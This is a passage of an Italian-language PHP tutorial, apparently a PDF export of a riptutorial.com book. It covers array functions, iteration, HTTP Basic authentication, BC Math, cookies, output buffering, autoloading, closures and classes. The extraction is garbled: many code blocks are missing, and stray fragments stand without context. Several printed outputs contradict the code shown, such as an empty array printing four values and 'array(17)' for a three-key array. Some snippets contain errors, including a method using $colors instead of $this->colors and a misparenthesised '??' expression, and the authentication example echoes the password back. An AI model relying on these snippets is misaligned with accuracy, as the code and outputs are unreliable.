Conclusione: con array_fill() sei più limitato per ciò che puoi effettivamente fare. Il ciclo è più
https://riptutorial.com/it/home 28
flessibile e ti apre una gamma più ampia di opportunità.
Ogni volta che si desidera un array riempito con un intervallo di numeri (ad esempio 1-4), è
possibile aggiungere ogni singolo elemento a un array o utilizzare la funzione range() :
Questa funzione crea una matrice contenente un intervallo di elementi. Sono richiesti i primi due
parametri, in cui vengono impostati i punti iniziale e finale dell'intervallo (compreso). Il terzo
parametro è facoltativo e definisce la dimensione dei passaggi da eseguire. Creando un range da 0
a 4 con una stepsize di 1 , l'array risultante sarebbe costituito dai seguenti elementi: 0 , 1 , 2 , 3 e 4 .
Se la dimensione del passo è aumentata a 2 (cioè range(0, 4, 2) ), la matrice risultante sarebbe: 0
,2e4.
$array = [];
$array_with_range = range(1, 4);
print_r($array); // Array ( [0] => 1 [1] => 2 [2] => 3 [3] => 4 )
print_r($array_with_range); // Array ( [0] => 1 [1] => 2 [2] => 3 [3] => 4 )
range può funzionare con interi, float, booleani (che diventano convertiti in interi) e stringhe. Si
deve prestare attenzione, tuttavia, quando si utilizzano float come argomenti a causa del problema
di precisione in virgola mobile.
$map = [
'foo' => 1,
'bar' => null,
'foobar' => '',
];
Si noti che isset() considera un elemento con valori null come inesistente. Mentre !empty() fa lo
stesso per ogni elemento uguale a false (usando un confronto debole, ad esempio null , '' e 0
sono tutti trattati come falsi da !empty() ). Mentre isset($map['foobar']); è true
!empty($map['foobar']) è false . Ciò può portare a errori (ad esempio, è facile dimenticare che la
stringa '0' è considerata falsa), quindi l'uso di !empty() è spesso disapprovato.
https://riptutorial.com/it/home 29
Nota anche che isset() e !empty() funzioneranno (e restituiranno false) se $map non è affatto
definita. Questo li rende in qualche modo soggetti a errori:
Si noti che isset() ha prestazioni migliori rispetto a array_key_exists() poiché quest'ultimo è una
funzione e il precedente è un costrutto linguistico.
$userdb = [
[
"uid" => '100',
"name" => 'Sandra Shush',
"url" => 'urlof100',
https://riptutorial.com/it/home 30
],
[
"uid" => '5465',
"name" => 'Stefanie Mcmohn',
"pic_square" => 'urlof100',
],
[
"uid" => '40489',
"name" => 'Michael',
"pic_square" => 'urlof40489',
]
];
$integer = 1337;
$array = [1337, 42];
is_array($integer); // false
is_array($array); // true
È possibile digitare suggerimento del tipo di matrice in una funzione per imporre un tipo di
parametro; passare qualcos'altro comporterà un errore fatale.
$integer = 1337;
$array = [1337, 42];
Un'altra caratteristica utile è l'accesso alle raccolte di oggetti personalizzati come matrici in PHP.
Ci sono due interfacce disponibili in PHP (> = 5.0.0) core per supportare questo: ArrayAccess e
Iterator . Il primo consente di accedere agli oggetti personalizzati come array.
ArrayAccess
Supponiamo di avere una classe utente e una tabella di database che memorizza tutti gli utenti.
Vorremmo creare una classe UserCollection che:
1. consentirci di indirizzare determinati utenti tramite il loro identificatore univoco del nome
utente
2. esegui operazioni di base (non tutte CRUD, ma almeno Crea, Recupera ed Elimina) sulla
https://riptutorial.com/it/home 31
nostra collezione di utenti
Considera la seguente fonte (qui di seguito viene utilizzata la sintassi per la creazione di array
brevi [] disponibile dalla versione 5.4):
$connectionParams = [
//your connection to the database
];
return $ret;
}
https://riptutorial.com/it/home 32
}
allora possiamo :
var_dump(empty($users['testuser']),isset($users['testuser']));
$users['testuser'] = ['username' => 'testuser',
'password' => 'testpassword',
'email' => '[email protected]'];
var_dump(empty($users['testuser']), isset($users['testuser']), $users['testuser']);
unset($users['testuser']);
var_dump(empty($users['testuser']), isset($users['testuser']));
che genererà quanto segue, supponendo che non ci fosse nessun testuser prima di lanciare il
codice:
bool(true)
bool(false)
bool(false)
bool(true)
array(17) {
["username"]=>
string(8) "testuser"
["password"]=>
string(12) "testpassword"
["email"]=>
string(13) "[email protected]"
}
bool(true)
bool(false)
IMPORTANTE: offsetExists non viene chiamato quando si controlla l'esistenza di una chiave con
la funzione array_key_exists . Quindi il seguente codice verrà emesso false due volte:
var_dump(array_key_exists('testuser', $users));
$users['testuser'] = ['username' => 'testuser',
'password' => 'testpassword',
'email' => '[email protected]'];
var_dump(array_key_exists('testuser', $users));
Iterator
Estendiamo la nostra classe dall'alto con alcune funzioni dell'interfaccia di Iterator per
consentirne l'iterazione con foreach e while .
Per prima cosa, dobbiamo aggiungere una proprietà contenente il nostro indice corrente di
iteratore, aggiungiamola alle proprietà della classe come $_position :
https://riptutorial.com/it/home 33
dalla nostra classe:
Quindi tutto qui è la fonte completa della classe che implementa entrambe le interfacce. Nota che
questo esempio non è perfetto, perché gli ID nel database potrebbero non essere sequenziali, ma
questo è stato scritto solo per darti l'idea principale: puoi indirizzare le tue collezioni di oggetti in
ogni modo possibile implementando interfacce ArrayAccess e Iterator :
// <add the old methods from the last code snippet here>
https://riptutorial.com/it/home 34
foreach ($users as $user) {
var_dump($user['id']);
}
string(2) "1"
string(2) "2"
string(2) "3"
string(2) "4"
...
$username = 'Hadibut';
$email = '[email protected]';
Questo metodo è spesso usato in framework per passare una matrice di variabili tra due
componenti.
https://riptutorial.com/it/home 35
Capitolo 7: Array iteration
Sintassi
• for ($ i = 0; $ i <count ($ array); $ i ++) {incremental_iteration (); }
• for ($ i = count ($ array) - 1; $ i> = 0; $ i--) {reverse_iteration (); }
• foreach ($ data come $ datum) {}
• foreach ($ data come $ key => $ datum) {}
• foreach ($ data as e $ datum) {}
Osservazioni
foreach per
Semplice metodo per iterare e modificare elementi di un array.
riferimento
for con indice Consente di ripetere l'array in una sequenza libera, ad esempio
incrementale saltando o invertendo più elementi
Puntatori di array Non è più necessario usare un loop (in modo che possa iterare una
interni volta ogni chiamata di funzione, ricevere il segnale, ecc.)
Examples
Iterazione di più matrici insieme
A volte due array della stessa lunghezza devono essere ripetuti insieme, ad esempio:
array_map(function($person, $food) {
return "$person likes $food\n";
}, $people, $foods);
che produrrà:
https://riptutorial.com/it/home 36
Tim likes chicken
Tony likes beef
Turanga likes slurm
Se i due array non hanno le chiavi incrementali, array_values($array)[$i] può essere usato per
sostituire $array[$i] .
Se entrambi gli array hanno lo stesso ordine di chiavi, puoi anche utilizzare un ciclo foreach-with-
key su uno degli array:
Gli array separati possono essere collegati solo se hanno la stessa lunghezza e hanno lo stesso
nome di chiave. Ciò significa che se non si fornisce una chiave e se sono numerati, si andrà bene,
o se si assegnano le chiavi e le si mettono nello stesso ordine in ogni matrice.
Questo metodo funziona incrementando un numero intero da 0 all'indice più grande dell'array.
Ciò consente anche di iterare una matrice in ordine inverso senza utilizzare array_reverse , il che
potrebbe comportare un sovraccarico se l'array è di grandi dimensioni.
https://riptutorial.com/it/home 37
for ($i = count($colors) - 1; $i >= 0; $i--) {
echo 'I am the color ' . $colors[$i] . '<br>';
}
Produzione:
alpha
beta
gamma
beta
zeta
epsilon
Per gli array che non hanno indici incrementali (compresi gli array con indici in ordine inverso, ad
es. [1 => "foo", 0 => "bar"] , ["foo" => "f", "bar" => "b"] ), questo non può essere fatto
direttamente. array_values o array_keys possono invece essere usati:
$array = ["a" => "alpha", "b" => "beta", "c" => "gamma", "d" => "delta"];
$keys = array_keys($array);
for ($i = 0; $i < count($array); $i++) {
$key = $keys[$i];
$value = $array[$key];
echo "$value is $key\n";
}
Ogni istanza dell'array contiene un puntatore interno. Manipolando questo puntatore, è possibile
recuperare diversi elementi di una matrice dalla stessa chiamata in momenti diversi.
Usando each
https://riptutorial.com/it/home 38
}
Usando il next
Si noti che in questo esempio non si assume che elementi della matrice siano identici a boolean
false . Per evitare tale ipotesi, utilizzare la key per verificare se il puntatore interno ha raggiunto la
fine dell'array:
class ColorPicker {
private $colors = ["#FF0064", "#0064FF", "#64FF00", "#FF6400", "#00FF64", "#6400FF"];
public function nextColor() : string {
$result = next($colors);
// if end of array reached
if (key($colors) === null) {
reset($colors);
}
return $result;
}
}
Usando foreach
Ciclo diretto
foreach ($colors as $color) {
echo "I am the color $color<br>";
}
https://riptutorial.com/it/home 39
Loop per riferimento
Nei cicli foreach negli esempi precedenti, la modifica del valore ( $color o $food ) direttamente non
cambia il suo valore nella matrice. L'operatore & è richiesto in modo che il valore sia un puntatore
di riferimento all'elemento nell'array.
Questo è simile a:
Concorrenza
Gli array PHP possono essere modificati in qualsiasi modo durante l'iterazione senza problemi di
concorrenza (a differenza, ad esempio, di Java List ). Se l'array viene iterato per riferimento, le
iterazioni successive saranno influenzate dalle modifiche all'array. In caso contrario, le modifiche
all'array non influiranno sulle iterazioni successive (come se si stesse iterando invece una copia
dell'array). Confronta il ciclo per valore:
Produzione:
0 => 1
2 => 3
4 => 5
6 => 7
https://riptutorial.com/it/home 40
unset($array[4]);
}
echo "$key => $value\n";
}
Produzione:
0 => 1
2 => 3
6 => 17
L'insieme di valori-chiave di 4 => 5 non viene più iterato e 6 => 7 viene modificato in 6 => 17 .
Esempio:
$array = ['1' => 'apple', '2' => 'banana', '3' => 'cherry'];
$iterator = $arrayObject->getIterator();
Produzione:
1 => apple
2 => banana
3 => cherry
https://riptutorial.com/it/home 41
Capitolo 8: Autenticazione HTTP
introduzione
In questo argomento creeremo uno script di autenticazione HTTP-Header.
Examples
Autenticato semplice
<?php
if (!isset($_SERVER['PHP_AUTH_USER'])) {
header('WWW-Authenticate: Basic realm="My Realm"');
header('HTTP/1.0 401 Unauthorized');
echo 'Text to send if user hits Cancel button';
exit;
}
echo "<p>Hello {$_SERVER['PHP_AUTH_USER']}.</p>";
$user = $_SERVER['PHP_AUTH_USER']; //Lets save the information
echo "<p>You entered {$_SERVER['PHP_AUTH_PW']} as your password.</p>";
$pass = $_SERVER['PHP_AUTH_PW']; //Save the password(optionally add encryption)!
?>
//You html page
https://riptutorial.com/it/home 42
Capitolo 9: BC Math (Binary Calculator)
introduzione
Il Calcolatore binario può essere utilizzato per calcolare con numeri di qualsiasi dimensione e
precisione fino a 2147483647-1 decimali, in formato stringa. Il calcolatore binario è più preciso del
calcolo a virgola mobile di PHP.
Sintassi
• string bcadd (string $ left_operand, string $ right_operand [, int $ scale = 0])
• int bccomp (stringa $ left_operand, stringa $ right_operand [, int $ scale = 0])
• stringa bcdiv (stringa $ left_operand, stringa $ right_operand [, int $ scale = 0])
• stringa bcmod (stringa $ left_operand, stringa $ modulo)
• stringa bcmul (stringa $ left_operand, stringa $ right_operand [, int $ scale = 0])
• stringa bcpowmod (stringa $ left_operand, stringa $ right_operand, stringa $ modulo [, int $
scale = 0])
• bool bcscale (int $ scale)
• stringa bcsqrt (stringa $ operando [, int $ scale = 0])
• stringa bcsub (stringa $ left_operand, stringa $ right_operand [, int $ scale = 0])
Parametri
https://riptutorial.com/it/home 43
bcadd Aggiungi due numeri di precisione arbitrari.
scale Un parametro facoltativo per impostare il numero di cifre dopo la virgola nel
https://riptutorial.com/it/home 44
bcadd Aggiungi due numeri di precisione arbitrari.
risultato.
Osservazioni
Per tutte le funzioni BC, se il parametro di scale non è impostato, esso assume come valore
predefinito 0, che renderà tutte le operazioni con operazioni su interi.
Examples
Confronto tra le operazioni matematiche BCMath e float
bcsub vs float-float
var_dump('10' - '9.99'); // float(0.0099999999999998)
var_dump(10 - 9.99); // float(0.0099999999999998)
var_dump(10.00 - 9.99); // float(0.0099999999999998)
var_dump(bcsub('10', '9.99', 20)); // string(22) "0.01000000000000000000"
https://riptutorial.com/it/home 45
bcmul vs float * float
var_dump('1.6767676767' * '1.6767676767'); // float(2.8115498416259)
var_dump(1.6767676767 * 1.6767676767); // float(2.8115498416259)
var_dump(bcmul('1.6767676767', '1.6767676767', 20)); // string(22) "2.81154984162591572289"
Usando bcmath per leggere / scrivere un binario lungo sul sistema a 32 bit
Sui sistemi a 32 bit, gli interi superiori a 0x7FFFFFFF non possono essere memorizzati in modo
primitivo, mentre i numeri interi tra 0x0000000080000000 e 0x7FFFFFFFFFFFFFFF possono essere
memorizzati in modo primitivo su sistemi a 64 bit ma non su sistemi a 32 bit ( signed long long ).
Tuttavia, poiché i sistemi a 64 bit e molti altri linguaggi supportano la memorizzazione di interi
signed long long segno, a volte è necessario memorizzare questo intervallo di numeri interi in un
valore esatto. Ci sono diversi modi per farlo, come la creazione di un array con due numeri, o la
conversione del numero intero nella sua forma decimale leggibile. Questo ha diversi vantaggi,
come la comodità nel presentare all'utente e la possibilità di manipolarlo direttamente con bcmath.
I metodi pack / unpack possono essere usati per convertire tra i byte binari e la forma decimale dei
numeri (entrambi di tipo string , ma uno è binario e uno è ASCII), ma cercheranno sempre di
trasmettere la stringa ASCII in un 32 bit int su sistemi a 32 bit. Il seguente frammento fornisce
un'alternativa:
https://riptutorial.com/it/home 46
$result = bcmul($result, "65536");
$result = bcadd($result, unpack("n", substr($binary, 4, 2)));
$result = bcmul($result, "65536");
$result = bcadd($result, unpack("n", substr($binary, 6, 2)));
https://riptutorial.com/it/home 47
Capitolo 10: Biscotti
introduzione
Un cookie HTTP è una piccola porzione di dati inviati da un sito Web e memorizzati sul computer
dell'utente dal browser Web dell'utente durante la navigazione dell'utente.
Sintassi
• bool setcookie( string $name [, string $value = "" [, int $expire = 0 [, string $path = ""
[, string $domain = "" [, bool $secure = false [, bool $httponly = false ]]]]]] )
Parametri
parametro dettaglio
Il nome del cookie. Questa è anche la chiave che puoi usare per recuperare il
nome
valore da $_COOKIE super global. Questo è l'unico parametro richiesto
Specifica che il cookie deve essere reso disponibile solo tramite il protocollo
HttpOnly HTTP / S e non dovrebbe essere disponibile per i linguaggi di scripting lato
client come JavaScript. Disponibile solo in PHP 5.2 o versioni successive.
https://riptutorial.com/it/home 48
Osservazioni
Vale la pena notare che il semplice setcookie funzione setcookie non metterà semplicemente i dati
dati nell'array $_COOKIE .
Il valore non è ancora lì, non prima del caricamento della pagina successiva. La funzione
setcookie dice semplicemente " con la prossima connessione http comunica al client (browser) di
impostare questo cookie ". Quindi, quando le intestazioni vengono inviate al browser, contengono
questa intestazione del cookie. Il browser controlla quindi se il cookie non è ancora scaduto, e se
non lo è, allora nella richiesta http invia il cookie al server e questo è quando PHP lo riceve e
mette il contenuto nella matrice $_COOKIE .
Examples
Impostazione di un cookie
Un cookie viene impostato utilizzando la funzione setcookie() . Poiché i cookie fanno parte
dell'intestazione HTTP, è necessario impostare i cookie prima di inviare qualsiasi output al
browser.
Esempio:
setcookie("user", "Tom", time() + 86400, "/"); // check syntax for function params
Descrizione:
Recupero di un cookie
Il valore di un cookie può essere recuperato utilizzando la variabile globale $_COOKIE . esempio se
https://riptutorial.com/it/home 49
abbiamo un cookie chiamato user possiamo recuperarlo in questo modo
echo $_COOKIE['user'];
Modifica di un cookie
setcookie("user", "John", time() + 86400, "/"); // assuming there is a "user" cookie already
La porzione di valore del cookie verrà automaticamente codificata in caso di invio del
cookie e al momento della ricezione verrà automaticamente decodificata e assegnata a
una variabile con lo stesso nome del nome del cookie
Usa la funzione isset() sulla variabile $_COOKIE per verificare se un cookie è impostato.
Esempio:
// PHP <7.0
if (isset($_COOKIE['user'])) {
// true, cookie is set
echo 'User is ' . $_COOKIE['user'];
else {
// false, cookie is not set
echo 'User is not logged in';
}
// PHP 7.0+
echo 'User is ' . $_COOKIE['user'] ?? 'User is not logged in';
Rimozione di un cookie
Per rimuovere un cookie, imposta il timestamp di scadenza in un momento nel passato. Questo
innesca il meccanismo di rimozione del browser:
https://riptutorial.com/it/home 50
È anche una buona idea disinserire il valore $_COOKIE nel caso in cui la pagina corrente lo usi:
unset($_COOKIE['user']);
https://riptutorial.com/it/home 51
Capitolo 11: Buffering di uscita
Parametri
Funzione Dettagli
ob_get_contents
Restituisce tutto il contenuto catturato da ob_start()
()
ob_implicit_flush
Abilita lo svuotamento implicito dopo ogni chiamata in uscita.
()
Examples
Utilizzo di base per ottenere il contenuto tra i buffer e la cancellazione
Il buffering dell'output consente di memorizzare qualsiasi contenuto testuale (testo, HTML ) in una
variabile e di inviarlo al browser come un pezzo alla fine del copione. Per impostazione
predefinita, php invia il tuo contenuto mentre lo interpreta.
<?php
https://riptutorial.com/it/home 52
// Return the buffer AND clear it
$content = ob_get_clean();
print($content);
Qualsiasi contenuto emesso tra ob_start() e ob_get_clean() verrà catturato e inserito nella
variabile $content .
È possibile nidificare i buffer di output e recuperare il livello per fornire contenuti diversi utilizzando
la funzione ob_get_level() .
<?php
$i = 1;
$output = null;
while( $i <= 5 ) {
// Each loop, creates a new output buffering `level`
ob_start();
print "Current nest level: ". ob_get_level() . "\n";
$i++;
}
// Get clean will `pop` the contents of the top most level (5)
$output .= ob_get_clean();
print $output;
// For each level we went up, come back down and get the buffer
while( $i > 2 ) {
print "Current nest level: " . ob_get_level() . "\n";
echo ob_get_clean();
$i--;
}
Uscite:
https://riptutorial.com/it/home 53
Current nest level: 4
Current nest level: 5
Ended up at level: 5
Popped level 5, so we now start from 4
Current nest level: 4
Current nest level: 3
Current nest level: 2
Current nest level: 1
<?php
foreach($items as $item):
<!-- Menu 1: We can now re-use that (multiple times if required) in our HTML. -->
<ul class="header-nav">
<?php echo $items_li_html ?>
</ul>
Dovresti vedere i 2 elementi della lista che abbiamo creato sopra con gli stessi elementi della lista
che abbiamo generato in PHP usando il buffer di output:
<!-- Menu 1: We can now re-use that (multiple times if required) in our HTML. -->
<ul class="header-nav">
<li>Home</li>
<li>Blog</li>
<li>FAQ</li>
https://riptutorial.com/it/home 54
<li>Contact</li>
</ul>
ob_start();
$user_count = 0;
foreach( $users as $user ) {
if( $user['access'] != 7 ) { continue; }
?>
<li class="users user-<?php echo $user['id']; ?>">
<a href="<?php echo $user['link']; ?>">
<?php echo $user['name'] ?>
</a>
</li>
<?php
$user_count++;
}
$users_html = ob_get_clean();
if( !$user_count ) {
header('Location: /404.php');
exit();
}
?>
<html>
<head>
<title>Level 7 user results (<?php echo $user_count; ?>)</title>
</head>
<body>
<h2>We have a total of <?php echo $user_count; ?> users with access level 7</h2>
<ul class="user-list">
<?php echo $users_html; ?>
</ul>
</body>
</html>
In questo esempio, supponiamo che gli $users siano una matrice multidimensionale, e lo
attraversiamo per trovare tutti gli utenti con un livello di accesso 7.
Stiamo utilizzando il buffer di output qui perché stiamo attivando un reindirizzamento header()
base al risultato del ciclo
Utilizzo del buffer di output per archiviare i contenuti in un file, utile per
https://riptutorial.com/it/home 55
report, fatture, ecc
<?php
ob_start();
?>
<html>
<head>
<title>Example invoice</title>
</head>
<body>
<h1>Invoice #0000</h1>
<h2>Cost: £15,000</h2>
...
</body>
</html>
<?php
$html = ob_get_clean();
Questo esempio prende il documento completo e lo scrive in un file, non emette il documento nel
browser, ma lo fa usando echo $html;
<?php
function clearAllWhiteSpace($buffer) {
return str_replace(array("\n", "\t", ' '), '', $buffer);
}
ob_start('clearAllWhiteSpace');
?>
<h1>Lorem Ipsum</h1>
<ol>
<li>Lorem ipsum dolor sit amet, consectetuer adipiscing elit.</li>
<li>Aliquam tincidunt mauris eu risus.</li>
</ol>
<?php
/* Output will be flushed and processed when script ends or call
ob_end_flush();
*/
Produzione:
https://riptutorial.com/it/home 56
<h1>LoremIpsum</h1><p><strong>Pellentesquehabitantmorbitristique</strong>senectusetnetusetmalesuadafame
/**
* Enables output buffer streaming. Calling this function
* immediately flushes the buffer to the client, and any
* subsequent output will be sent directly to the client.
*/
function _stream() {
ob_implicit_flush(true);
ob_end_flush();
}
ob_startè particolarmente utile quando hai i reindirizzamenti sulla tua pagina. Ad esempio, il
seguente codice non funzionerà:
Hello!
<?php
header("Location: somepage.php");
?>
L'errore che verrà dato è qualcosa di simile: headers already sent by <xxx> on line <xxx> .
Per risolvere questo problema, dovresti scrivere qualcosa di simile all'inizio della pagina:
<?php
ob_start();
?>
<?php
ob_end_flush();
?>
https://riptutorial.com/it/home 57
Capitolo 12: Caricamento automatico del
primer
Sintassi
• richiedere
• spl_autoload_require
Osservazioni
L'autocaricamento, come parte di una strategia quadro, facilita la quantità di codice boilerplate che
devi scrivere.
Examples
Definizione della classe inline, nessun caricamento richiesto
// zoo.php
class Animal {
public function eats($food) {
echo "Yum, $food!";
}
}
PHP sa cos'è Animal prima di eseguire new Animal , perché PHP legge i file sorgente dall'alto verso
il basso. Ma se volessimo creare nuovi animali in molti posti, non solo nel file sorgente in cui è
definito? Per fare ciò, dobbiamo caricare la definizione della classe.
// Animal.php
class Animal {
public function eats($food) {
echo "Yum, $food!";
}
}
// zoo.php
require 'Animal.php';
$animal = new Animal;
$animal->eats('slop');
// aquarium.php
require 'Animal.php';
$animal = new Animal;
https://riptutorial.com/it/home 58
$animal->eats('shrimp');
Qui abbiamo tre file. Un file ("Animal.php") definisce la classe. Questo file non ha effetti collaterali
oltre a definire la classe e mantiene tutte le informazioni su un "animale" in un unico posto. È
facilmente controllabile in versione. È facilmente riutilizzabile.
Due file utilizzano il file "Animal.php" require manualmente il file. Ancora una volta, PHP legge i
file sorgente dall'alto verso il basso, quindi la richiesta va e trova il file "Animal.php" e rende
disponibile la definizione della classe Animal prima di chiamare new Animal .
Ora immaginiamo di avere dozzine o centinaia di casi in cui volevamo eseguire un new Animal . Ciò
richiederebbe (molti giochi di parole) molti, molti require affermazioni che sono molto noiose da
codificare.
// autoload.php
spl_autoload_register(function ($class) {
require_once "$class.php";
});
// Animal.php
class Animal {
public function eats($food) {
echo "Yum, $food!";
}
}
// zoo.php
require 'autoload.php';
$animal = new Animal;
$animal->eats('slop');
// aquarium.php
require 'autoload.php';
$animal = new Animal;
$animal->eats('shrimp');
Confronta questo con gli altri esempi. Nota come require "Animal.php" stato sostituito con require
"autoload.php" . Stiamo ancora includendo un file esterno in fase di esecuzione, ma piuttosto che
includere una specifica definizione di classe includiamo la logica che può includere qualsiasi
classe. È un livello di indirezione che facilita il nostro sviluppo. Invece di scrivere uno require per
ogni classe di cui abbiamo bisogno, scriviamo uno require per tutte le classi. Possiamo sostituire
N require con 1 require .
La magia accade con spl_autoload_register . Questa funzione PHP richiede una chiusura e
aggiunge la chiusura a una coda di chiusure. Quando PHP incontra una classe per la quale non
ha una definizione, PHP consegna il nome della classe a ogni chiusura nella coda. Se la classe
esiste dopo aver chiamato una chiusura, PHP ritorna alla sua attività precedente. Se la classe non
riesce a esistere dopo aver provato l'intera coda, PHP si blocca con "Class" Whatever "not found."
https://riptutorial.com/it/home 59
Autoloading come parte di una soluzione quadro
// autoload.php
spl_autoload_register(function ($class) {
require_once "$class.php";
});
// Animal.php
class Animal {
public function eats($food) {
echo "Yum, $food!";
}
}
// Ruminant.php
class Ruminant extends Animal {
public function eats($food) {
if ('grass' === $food) {
parent::eats($food);
} else {
echo "Yuck, $food!";
}
}
}
// Cow.php
class Cow extends Ruminant {
}
// pasture.php
require 'autoload.php';
$animal = new Cow;
$animal->eats('grass');
Grazie al nostro caricatore automatico generico, abbiamo accesso a qualsiasi classe che segue la
nostra convenzione di denominazione del caricatore automatico. In questo esempio, la nostra
convenzione è semplice: la classe desiderata deve avere un file nella stessa directory chiamata
per la classe e che termina con ".php". Si noti che il nome della classe corrisponde esattamente al
nome del file.
In ultima analisi, l'autoloading di PHP è un meccanismo che ti aiuta a scrivere meno codice
meccanico in modo da poterti concentrare sulla risoluzione dei problemi aziendali. Tutto quello
che devi fare è definire una strategia che associ il nome della classe al nome del file . Puoi
lanciare la tua strategia di autoloading, come fatto qui. Oppure, puoi usare uno qualsiasi di quelli
standard che la comunità PHP ha adottato: PSR-0 o PSR-4 . Oppure, puoi usare il compositore
per definire e gestire genericamente queste dipendenze.
https://riptutorial.com/it/home 60
Si potrebbe semplicemente includere questo file e si otterrà il caricamento automatico
gratuitamente.
È inoltre possibile aggiungere il proprio codice al caricatore automatico aggiungendo una sezione
di caricamento automatico a composer.json .
{
"autoload": {
"psr-4": {"YourApplicationNamespace\\": "src/"}
}
}
In questa sezione definisci i mapping autoload. In questo esempio è una mappatura PSR-4 di uno
spazio dei nomi in una directory: la directory /src risiede nella cartella principale dei progetti, allo
stesso livello della directory /vendor . Un esempio di nome file potrebbe essere src/Foo.php
contenente una classe YourApplicationNamespace\Foo .
Importante: Dopo aver aggiunto nuove voci alla sezione di caricamento automatico, è necessario
rieseguire il comando dump-autoload per rigenerare e aggiornare il file vendor/autoload.php con le
nuove informazioni.
Oltre al caricamento automatico della PSR-4 , Composer supporta anche PSR-0 , classmap e
autoloading dei files . Vedere il riferimento del caricamento automatico per ulteriori informazioni.
https://riptutorial.com/it/home 61
Capitolo 13: Chiusura
Examples
Uso di base di una chiusura
Una chiusura è l'equivalente PHP di una funzione anonima, ad es. una funzione che non ha un
nome. Anche se tecnicamente non è corretto, il comportamento di una chiusura rimane lo stesso
di quello di una funzione, con alcune caratteristiche extra.
Una chiusura non è altro che un oggetto della classe Closure che viene creata dichiarando una
funzione senza un nome. Per esempio:
<?php
$myClosure = function() {
echo 'Hello world!';
};
Tieni presente che $myClosure è un'istanza di Closure modo che tu sia a conoscenza di ciò che puoi
veramente fare con esso (cfr. Http://fr2.php.net/manual/en/class.closure.php )
Il caso classico che avresti bisogno di una chiusura è quando devi dare un callable a una
funzione, ad esempio usort .
Ecco un esempio in cui un array è ordinato per il numero di fratelli di ogni persona:
<?php
$data = [
[
'name' => 'John',
'nbrOfSiblings' => 2,
],
[
'name' => 'Stan',
'nbrOfSiblings' => 1,
],
[
'name' => 'Tom',
'nbrOfSiblings' => 3,
]
];
https://riptutorial.com/it/home 62
});
var_dump($data); // Will show Stan first, then John and finally Tom
È possibile, all'interno di una chiusura, utilizzare una variabile esterna con la parola chiave
speciale use . Per esempio:
<?php
$quantity = 1;
Puoi andare oltre creando chiusure "dinamiche". È possibile creare una funzione che restituisce
una calcolatrice specifica, a seconda della quantità che si desidera aggiungere. Per esempio:
<?php
function createCalculator($quantity) {
return function($number) use($quantity) {
return $number + $quantity;
};
}
$calculator1 = createCalculator(1);
$calculator2 = createCalculator(2);
Come visto in precedenza, una chiusura non è altro che un'istanza della classe Closure e su di
essi possono essere invocati metodi diversi. Uno di questi è bindTo , che, data una chiusura,
restituirà uno nuovo associato a un dato oggetto. Per esempio:
<?php
$myClosure = function() {
echo $this->property;
};
class MyClass
{
public $property;
https://riptutorial.com/it/home 63
$this->property = $propertyValue;
}
}
<?php
$myClosure = function() {
echo $this->property;
};
class MyClass
{
public $property;
L'unico modo per accedere a una proprietà se è private è che è accessibile da un ambito che lo
consente, ad es. l'ambito della classe. Nell'esempio di codice precedente, l'ambito non è stato
specificato, il che significa che la chiusura è stata invocata nello stesso ambito di quella utilizzata
dove è stata creata la chiusura. Cambiamo questo:
<?php
$myClosure = function() {
echo $this->property;
};
class MyClass
{
private $property; // $property is now private
https://riptutorial.com/it/home 64
{
$this->property = $propertyValue;
}
}
Come appena detto, se questo secondo parametro non viene utilizzato, la chiusura viene invocata
nello stesso contesto di quello utilizzato dove è stata creata la chiusura. Ad esempio, una chiusura
creata all'interno della classe di un metodo invocata in un contesto di oggetto avrà lo stesso
ambito di quello del metodo:
<?php
class MyClass
{
private $property;
$displayer = $myInstance->getDisplayer();
$displayer(); // Shows "Hello world!"
Dal momento che PHP7 , è possibile associare una chiusura solo per una chiamata, grazie al
metodo di call . Per esempio:
<?php
class MyClass
{
private $property;
https://riptutorial.com/it/home 65
$myClosure = function() {
echo $this->property;
};
Al contrario del metodo bindTo - bindTo , non c'è spazio per preoccuparsi. L'ambito utilizzato per
questa chiamata è uguale a quello utilizzato quando si accede o si richiama una proprietà di
$myInstance .
In generale, un osservatore è una classe con un metodo specifico chiamato quando si verifica
un'azione sull'oggetto osservato. In determinate situazioni, le chiusure possono essere sufficienti
per implementare il modello di progettazione dell'osservatore.
Ecco un esempio dettagliato di tale implementazione. Prima dichiariamo una classe il cui scopo è
di notificare agli osservatori quando la sua proprietà è cambiata.
<?php
https://riptutorial.com/it/home 66
}
}
<?php
<?php
$o = new ObservedStuff;
$o->setProperty('Hello world!');
// Shows:
// Observer1 has been notified! New property value: Hello world!
// Observer2 has been notified! New property value: Hello world!
Nota che questo esempio funziona perché gli osservatori condividono la stessa natura (sono
entrambi "osservatori nominati".)
https://riptutorial.com/it/home 67
Capitolo 14: Classi e oggetti
introduzione
Classi e oggetti sono utilizzati per rendere il codice più efficiente e meno ripetitivo raggruppando
attività simili.
Una classe viene utilizzata per definire le azioni e la struttura dati utilizzate per creare oggetti. Gli
oggetti vengono quindi creati utilizzando questa struttura predefinita.
Sintassi
• class <ClassName> [ extends <ParentClassName> ] [ implements <Interface1> [, <Interface2>,
... ] { } // Dichiarazione di classe
• interface <InterfaceName> [ extends <ParentInterface1> [, <ParentInterface2>, ...] ] { } //
Dichiarazione dell'interfaccia
• use <Trait1> [, <Trait2>, ...] ; // Usa i tratti
• [ public | protected | private ] [ static ] $<varName>; // Dichiarazione di attributo
• const <CONST_NAME>; // Dichiarazione costante
• [ public | protected | private ] [ static ] function <methodName>([args...]) { } //
Dichiarazione del metodo
Osservazioni
class Foo {
private $foo = 'foo'; // OK
private $baz = array(); // OK
private $bar = new Bar(); // Error!
}
